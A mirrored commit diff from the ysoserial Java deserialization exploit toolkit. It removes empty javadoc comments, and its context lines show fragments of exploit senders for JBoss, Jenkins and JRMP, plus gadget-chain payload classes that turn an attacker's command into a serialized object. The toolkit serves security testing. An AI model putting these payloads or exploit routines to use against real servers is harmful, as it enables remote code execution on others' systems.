mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-26 17:01:53 +08:00
Drop empty javadocs.
This commit is contained in:
@@ -117,13 +117,6 @@ public class JBoss {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param u
|
|
||||||
* @param payloadObject
|
|
||||||
* @param username
|
|
||||||
* @param password
|
|
||||||
*/
|
|
||||||
private static void doRun ( URI u, final Object payloadObject, String username, String password ) {
|
private static void doRun ( URI u, final Object payloadObject, String username, String password ) {
|
||||||
ConnectionProvider instance = null;
|
ConnectionProvider instance = null;
|
||||||
ConnectionProviderContextImpl context = null;
|
ConnectionProviderContextImpl context = null;
|
||||||
@@ -159,13 +152,6 @@ public class JBoss {
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param instance
|
|
||||||
* @param context
|
|
||||||
* @param ch
|
|
||||||
* @param c
|
|
||||||
* @param vc
|
|
||||||
*/
|
|
||||||
private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
|
private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
|
||||||
VersionedConnection vc ) {
|
VersionedConnection vc ) {
|
||||||
if ( vc != null ) {
|
if ( vc != null ) {
|
||||||
@@ -204,21 +190,6 @@ public class JBoss {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param destination
|
|
||||||
* @param username
|
|
||||||
* @param password
|
|
||||||
* @param context
|
|
||||||
* @param instance
|
|
||||||
* @param options
|
|
||||||
* @param xnioSsl
|
|
||||||
* @return
|
|
||||||
* @throws IOException
|
|
||||||
* @throws InterruptedException
|
|
||||||
* @throws NoSuchAlgorithmException
|
|
||||||
* @throws NoSuchProviderException
|
|
||||||
* @throws KeyManagementException
|
|
||||||
*/
|
|
||||||
private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password,
|
private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password,
|
||||||
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options )
|
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options )
|
||||||
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
|
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
|
||||||
@@ -263,14 +234,6 @@ public class JBoss {
|
|||||||
return chf;
|
return chf;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param context
|
|
||||||
* @param ch
|
|
||||||
* @param options
|
|
||||||
* @return
|
|
||||||
* @throws IOException
|
|
||||||
*/
|
|
||||||
private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException {
|
private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException {
|
||||||
Channel c;
|
Channel c;
|
||||||
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
|
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
|
||||||
@@ -294,15 +257,6 @@ public class JBoss {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param c
|
|
||||||
* @return
|
|
||||||
* @throws ClassNotFoundException
|
|
||||||
* @throws NoSuchMethodException
|
|
||||||
* @throws IllegalAccessException
|
|
||||||
* @throws InvocationTargetException
|
|
||||||
* @throws MalformedURLException
|
|
||||||
*/
|
|
||||||
private static VersionedConnection makeVersionedConnection ( Channel c )
|
private static VersionedConnection makeVersionedConnection ( Channel c )
|
||||||
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
|
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
|
||||||
VersionedConnection vc;
|
VersionedConnection vc;
|
||||||
@@ -314,14 +268,6 @@ public class JBoss {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param payloadObject
|
|
||||||
* @param mbc
|
|
||||||
* @throws IOException
|
|
||||||
* @throws InstanceNotFoundException
|
|
||||||
* @throws IntrospectionException
|
|
||||||
* @throws ReflectionException
|
|
||||||
*/
|
|
||||||
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
|
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
|
||||||
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
|
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
|
||||||
Object[] params = new Object[1];
|
Object[] params = new Object[1];
|
||||||
@@ -359,10 +305,7 @@ public class JBoss {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* @author mbechler
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
private static final class ConsoleLogHandler extends Handler {
|
private static final class ConsoleLogHandler extends Handler {
|
||||||
|
|
||||||
|
|
||||||
@@ -382,18 +325,11 @@ public class JBoss {
|
|||||||
public void close () throws SecurityException {}
|
public void close () throws SecurityException {}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* @author mbechler
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
|
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
|
||||||
|
|
||||||
private ConnectionProviderContextImpl context;
|
private ConnectionProviderContextImpl context;
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param context
|
|
||||||
*/
|
|
||||||
public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) {
|
public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) {
|
||||||
this.context = context;
|
this.context = context;
|
||||||
}
|
}
|
||||||
@@ -422,10 +358,7 @@ public class JBoss {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* @author mbechler
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
|
private static final class ConnectionProviderContextImpl implements ConnectionProviderContext {
|
||||||
|
|
||||||
private XnioWorker worker;
|
private XnioWorker worker;
|
||||||
@@ -434,12 +367,6 @@ public class JBoss {
|
|||||||
private Endpoint endpoint;
|
private Endpoint endpoint;
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param endpointName
|
|
||||||
* @throws IOException
|
|
||||||
* @throws IllegalArgumentException
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException {
|
public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException {
|
||||||
this.instance = Xnio.getInstance();
|
this.instance = Xnio.getInstance();
|
||||||
|
|
||||||
|
|||||||
@@ -46,14 +46,6 @@ public class JRMPClient {
|
|||||||
Utils.releasePayload(args[2], payloadObject);
|
Utils.releasePayload(args[2], payloadObject);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* @param hostname
|
|
||||||
* @param port
|
|
||||||
* @param payloadObject
|
|
||||||
* @throws IOException
|
|
||||||
* @throws UnknownHostException
|
|
||||||
* @throws SocketException
|
|
||||||
*/
|
|
||||||
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
|
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
|
||||||
InetSocketAddress isa = new InetSocketAddress(hostname, port);
|
InetSocketAddress isa = new InetSocketAddress(hostname, port);
|
||||||
Socket s = null;
|
Socket s = null;
|
||||||
@@ -97,15 +89,8 @@ public class JRMPClient {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* @author mbechler
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||||
|
|
||||||
/**
|
|
||||||
* @param out
|
|
||||||
*/
|
|
||||||
MarshalOutputStream ( OutputStream out ) throws IOException {
|
MarshalOutputStream ( OutputStream out ) throws IOException {
|
||||||
super(out);
|
super(out);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -44,12 +44,6 @@ public class JRMPListener implements Runnable {
|
|||||||
private boolean hadConnection;
|
private boolean hadConnection;
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param port
|
|
||||||
* @param payloadObject
|
|
||||||
* @throws IOException
|
|
||||||
* @throws NumberFormatException
|
|
||||||
*/
|
|
||||||
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
|
public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
|
||||||
this.port = port;
|
this.port = port;
|
||||||
this.payloadObject = payloadObject;
|
this.payloadObject = payloadObject;
|
||||||
@@ -113,11 +107,6 @@ public class JRMPListener implements Runnable {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see java.lang.Runnable#run()
|
|
||||||
*/
|
|
||||||
public void run () {
|
public void run () {
|
||||||
try {
|
try {
|
||||||
Socket s = null;
|
Socket s = null;
|
||||||
@@ -205,12 +194,6 @@ public class JRMPListener implements Runnable {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param s
|
|
||||||
* @param in
|
|
||||||
* @param out
|
|
||||||
* @throws Exception
|
|
||||||
*/
|
|
||||||
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
|
private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
|
||||||
System.err.println("Reading message...");
|
System.err.println("Reading message...");
|
||||||
|
|
||||||
@@ -239,19 +222,9 @@ public class JRMPListener implements Runnable {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param in
|
|
||||||
* @param out
|
|
||||||
* @throws Exception
|
|
||||||
*/
|
|
||||||
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
|
private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
|
||||||
ObjectInputStream ois = new ObjectInputStream(in) {
|
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see java.io.ObjectInputStream#resolveClass(java.io.ObjectStreamClass)
|
|
||||||
*/
|
|
||||||
@Override
|
@Override
|
||||||
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
|
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
|
||||||
throw new IOException("Not allowed to read object");
|
throw new IOException("Not allowed to read object");
|
||||||
|
|||||||
@@ -20,9 +20,6 @@ import ysoserial.payloads.ObjectPayload.Utils;
|
|||||||
*/
|
*/
|
||||||
public class JSF {
|
public class JSF {
|
||||||
|
|
||||||
/**
|
|
||||||
* @param args
|
|
||||||
*/
|
|
||||||
public static void main ( String[] args ) {
|
public static void main ( String[] args ) {
|
||||||
|
|
||||||
if ( args.length < 3 ) {
|
if ( args.length < 3 ) {
|
||||||
|
|||||||
@@ -103,17 +103,6 @@ public class JenkinsListener {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param oid
|
|
||||||
* @param uro
|
|
||||||
* @param reqClass
|
|
||||||
* @return
|
|
||||||
* @throws NoSuchMethodException
|
|
||||||
* @throws InstantiationException
|
|
||||||
* @throws IllegalAccessException
|
|
||||||
* @throws InvocationTargetException
|
|
||||||
* @throws ClassNotFoundException
|
|
||||||
*/
|
|
||||||
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
|
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
|
||||||
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
|
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
|
||||||
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||||
@@ -125,15 +114,6 @@ public class JenkinsListener {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param args
|
|
||||||
* @param payloadClass
|
|
||||||
* @param jrmpPort
|
|
||||||
* @param isa
|
|
||||||
* @param e
|
|
||||||
* @throws Exception
|
|
||||||
* @throws IOException
|
|
||||||
*/
|
|
||||||
private static void parseObjIdAndExploit ( final String[] args, final Class<? extends ObjectPayload> payloadClass, int jrmpPort,
|
private static void parseObjIdAndExploit ( final String[] args, final Class<? extends ObjectPayload> payloadClass, int jrmpPort,
|
||||||
InetSocketAddress isa, Exception e ) throws Exception, IOException {
|
InetSocketAddress isa, Exception e ) throws Exception, IOException {
|
||||||
String msg = e.getMessage();
|
String msg = e.getMessage();
|
||||||
@@ -171,14 +151,6 @@ public class JenkinsListener {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param inetSocketAddress
|
|
||||||
* @param obj
|
|
||||||
* @param o1
|
|
||||||
* @param o2
|
|
||||||
* @param o3
|
|
||||||
* @throws IOException
|
|
||||||
*/
|
|
||||||
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String payloadArg )
|
private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class<?> payloadClass, String payloadArg )
|
||||||
throws IOException {
|
throws IOException {
|
||||||
Socket s = null;
|
Socket s = null;
|
||||||
|
|||||||
@@ -62,10 +62,7 @@ public class C3P0 implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
private String className;
|
private String className;
|
||||||
private String url;
|
private String url;
|
||||||
/**
|
|
||||||
* @param className
|
|
||||||
* @param url
|
|
||||||
*/
|
|
||||||
public PoolSource ( String className, String url ) {
|
public PoolSource ( String className, String url ) {
|
||||||
this.className = className;
|
this.className = className;
|
||||||
this.url = url;
|
this.url = url;
|
||||||
|
|||||||
@@ -42,11 +42,6 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
|
@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
|
||||||
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
|
|
||||||
*/
|
|
||||||
public DiskFileItem getObject ( String command ) throws Exception {
|
public DiskFileItem getObject ( String command ) throws Exception {
|
||||||
|
|
||||||
String[] parts = command.split(":");
|
String[] parts = command.split(":");
|
||||||
@@ -71,12 +66,7 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
* @throws Exception
|
|
||||||
*
|
|
||||||
* @see ysoserial.payloads.ReleaseableObjectPayload#release(java.lang.Object)
|
|
||||||
*/
|
|
||||||
public void release ( DiskFileItem obj ) throws Exception {
|
public void release ( DiskFileItem obj ) throws Exception {
|
||||||
// otherwise the finalizer deletes the file
|
// otherwise the finalizer deletes the file
|
||||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
|
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
|
||||||
@@ -100,15 +90,6 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param thresh
|
|
||||||
* @param repoPath
|
|
||||||
* @param filePath
|
|
||||||
* @param data
|
|
||||||
* @return
|
|
||||||
* @throws IOException
|
|
||||||
* @throws Exception
|
|
||||||
*/
|
|
||||||
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
|
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
|
||||||
// if thresh < written length, delete outputFile after copying to repository temp file
|
// if thresh < written length, delete outputFile after copying to repository temp file
|
||||||
// otherwise write the contents to repository temp file
|
// otherwise write the contents to repository temp file
|
||||||
|
|||||||
@@ -94,11 +94,6 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
|
|
||||||
*/
|
|
||||||
public Object getObject ( String command ) throws Exception {
|
public Object getObject ( String command ) throws Exception {
|
||||||
Object tpl = Gadgets.createTemplatesImpl(command);
|
Object tpl = Gadgets.createTemplatesImpl(command);
|
||||||
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
|
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
|
||||||
@@ -106,18 +101,6 @@ public class Hibernate1 implements ObjectPayload<Object>, DynamicDependencies {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param tpl
|
|
||||||
* @param getters
|
|
||||||
* @return
|
|
||||||
* @throws NoSuchMethodException
|
|
||||||
* @throws InstantiationException
|
|
||||||
* @throws IllegalAccessException
|
|
||||||
* @throws InvocationTargetException
|
|
||||||
* @throws NoSuchFieldException
|
|
||||||
* @throws Exception
|
|
||||||
* @throws ClassNotFoundException
|
|
||||||
*/
|
|
||||||
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
|
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
|
||||||
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
|
InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
|
||||||
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
|
||||||
|
|||||||
@@ -67,11 +67,6 @@ import net.sf.json.JSONObject;
|
|||||||
} )
|
} )
|
||||||
public class JSON1 implements ObjectPayload<Object> {
|
public class JSON1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
|
|
||||||
*/
|
|
||||||
public Map getObject ( String command ) throws Exception {
|
public Map getObject ( String command ) throws Exception {
|
||||||
return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
|
return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
|
||||||
}
|
}
|
||||||
@@ -117,12 +112,6 @@ public class JSON1 implements ObjectPayload<Object> {
|
|||||||
return Gadgets.makeMap(t1, t2);
|
return Gadgets.makeMap(t1, t2);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
* @param args
|
|
||||||
* @throws Exception
|
|
||||||
*/
|
|
||||||
public static void main ( final String[] args ) throws Exception {
|
public static void main ( final String[] args ) throws Exception {
|
||||||
PayloadRunner.run(JSON1.class, args);
|
PayloadRunner.run(JSON1.class, args);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -42,12 +42,6 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
@PayloadTest(skip="Requires running MyFaces, no direct execution")
|
@PayloadTest(skip="Requires running MyFaces, no direct execution")
|
||||||
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
|
|
||||||
*/
|
|
||||||
|
|
||||||
public Object getObject ( String command ) throws Exception {
|
public Object getObject ( String command ) throws Exception {
|
||||||
return makeExpressionPayload(command);
|
return makeExpressionPayload(command);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -35,13 +35,6 @@ public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String)
|
|
||||||
*/
|
|
||||||
|
|
||||||
public Object getObject ( String command ) throws Exception {
|
public Object getObject ( String command ) throws Exception {
|
||||||
int sep = command.lastIndexOf(':');
|
int sep = command.lastIndexOf(':');
|
||||||
if ( sep < 0 ) {
|
if ( sep < 0 ) {
|
||||||
|
|||||||
@@ -56,11 +56,6 @@ public interface ObjectPayload <T> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param payloadType
|
|
||||||
* @param payloadArg
|
|
||||||
* @return an payload object
|
|
||||||
*/
|
|
||||||
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
|
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
|
||||||
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
||||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||||
@@ -80,11 +75,6 @@ public interface ObjectPayload <T> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param payload
|
|
||||||
* @param object
|
|
||||||
* @throws Exception
|
|
||||||
*/
|
|
||||||
@SuppressWarnings ( "unchecked" )
|
@SuppressWarnings ( "unchecked" )
|
||||||
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
|
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
|
||||||
if ( payload instanceof ReleaseableObjectPayload ) {
|
if ( payload instanceof ReleaseableObjectPayload ) {
|
||||||
@@ -93,10 +83,6 @@ public interface ObjectPayload <T> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param payloadType
|
|
||||||
* @param payloadObject
|
|
||||||
*/
|
|
||||||
public static void releasePayload ( String payloadType, Object payloadObject ) {
|
public static void releasePayload ( String payloadType, Object payloadObject ) {
|
||||||
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
||||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||||
|
|||||||
@@ -1,9 +1,3 @@
|
|||||||
/**
|
|
||||||
* © 2016 AgNO3 Gmbh & Co. KG
|
|
||||||
* All right reserved.
|
|
||||||
*
|
|
||||||
* Created: 06.03.2016 by mbechler
|
|
||||||
*/
|
|
||||||
package ysoserial.payloads;
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -61,12 +61,6 @@ public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
|
|||||||
return mitp;
|
return mitp;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
* @param args
|
|
||||||
* @throws Exception
|
|
||||||
*/
|
|
||||||
public static void main ( final String[] args ) throws Exception {
|
public static void main ( final String[] args ) throws Exception {
|
||||||
PayloadRunner.run(Spring2.class, args);
|
PayloadRunner.run(Spring2.class, args);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -38,11 +38,7 @@ public class FileUploadTest implements CustomTest {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see ysoserial.CustomTest#run(java.util.concurrent.Callable)
|
|
||||||
*/
|
|
||||||
public synchronized void run ( Callable<Object> payload ) throws Exception {
|
public synchronized void run ( Callable<Object> payload ) throws Exception {
|
||||||
try {
|
try {
|
||||||
Files.write(FDATA, this.source);
|
Files.write(FDATA, this.source);
|
||||||
@@ -68,11 +64,6 @@ public class FileUploadTest implements CustomTest {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see ysoserial.CustomTest#getPayloadArgs()
|
|
||||||
*/
|
|
||||||
public String getPayloadArgs () {
|
public String getPayloadArgs () {
|
||||||
return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath();
|
return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
package ysoserial.payloads;
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.util.concurrent.Callable;
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
@@ -30,14 +29,6 @@ public class JRMPReverseConnectTest implements CustomTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @throws IOException
|
|
||||||
* @throws NumberFormatException
|
|
||||||
*
|
|
||||||
* @see java.lang.Runnable#run()
|
|
||||||
*/
|
|
||||||
public void run ( Callable<Object> payload ) throws Exception {
|
public void run ( Callable<Object> payload ) throws Exception {
|
||||||
JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
|
JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
|
||||||
Thread t = new Thread(l, "JRMP listener");
|
Thread t = new Thread(l, "JRMP listener");
|
||||||
@@ -59,11 +50,6 @@ public class JRMPReverseConnectTest implements CustomTest {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see ysoserial.CustomTest#getPayloadArgs()
|
|
||||||
*/
|
|
||||||
public String getPayloadArgs () {
|
public String getPayloadArgs () {
|
||||||
return "localhost:" + port;
|
return "localhost:" + port;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -33,19 +33,13 @@ import ysoserial.Deserializer;
|
|||||||
*/
|
*/
|
||||||
public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {
|
public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {
|
||||||
|
|
||||||
/**
|
|
||||||
* @param command
|
|
||||||
*/
|
|
||||||
public MyfacesTest ( String command ) {
|
public MyfacesTest ( String command ) {
|
||||||
super(command);
|
super(command);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see ysoserial.CustomDeserializer#getCustomDeserializer()
|
|
||||||
*/
|
|
||||||
public Class<?> getCustomDeserializer () {
|
public Class<?> getCustomDeserializer () {
|
||||||
return MyfacesDeserializer.class;
|
return MyfacesDeserializer.class;
|
||||||
}
|
}
|
||||||
@@ -69,11 +63,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
|
|||||||
private Map<String, Object> attributes = new HashMap<String, Object>();
|
private Map<String, Object> attributes = new HashMap<String, Object>();
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see org.mockito.stubbing.Answer#answer(org.mockito.invocation.InvocationOnMock)
|
|
||||||
*/
|
|
||||||
public Object answer ( InvocationOnMock invocation ) throws Throwable {
|
public Object answer ( InvocationOnMock invocation ) throws Throwable {
|
||||||
|
|
||||||
if ( "setAttribute".equals(invocation.getMethod().getName()) ) {
|
if ( "setAttribute".equals(invocation.getMethod().getName()) ) {
|
||||||
@@ -94,18 +83,11 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
|
|||||||
private ServletRequest request;
|
private ServletRequest request;
|
||||||
|
|
||||||
|
|
||||||
/**
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
public MockELResolver (ServletRequest req) {
|
public MockELResolver (ServletRequest req) {
|
||||||
this.request = req;
|
this.request = req;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* {@inheritDoc}
|
|
||||||
*
|
|
||||||
* @see javax.el.ELResolver#getValue(javax.el.ELContext, java.lang.Object, java.lang.Object)
|
|
||||||
*/
|
|
||||||
@Override
|
@Override
|
||||||
public Object getValue ( ELContext context, Object base, Object property ) {
|
public Object getValue ( ELContext context, Object base, Object property ) {
|
||||||
if ( base == null && "request".equals(property)) {
|
if ( base == null && "request".equals(property)) {
|
||||||
@@ -116,11 +98,7 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
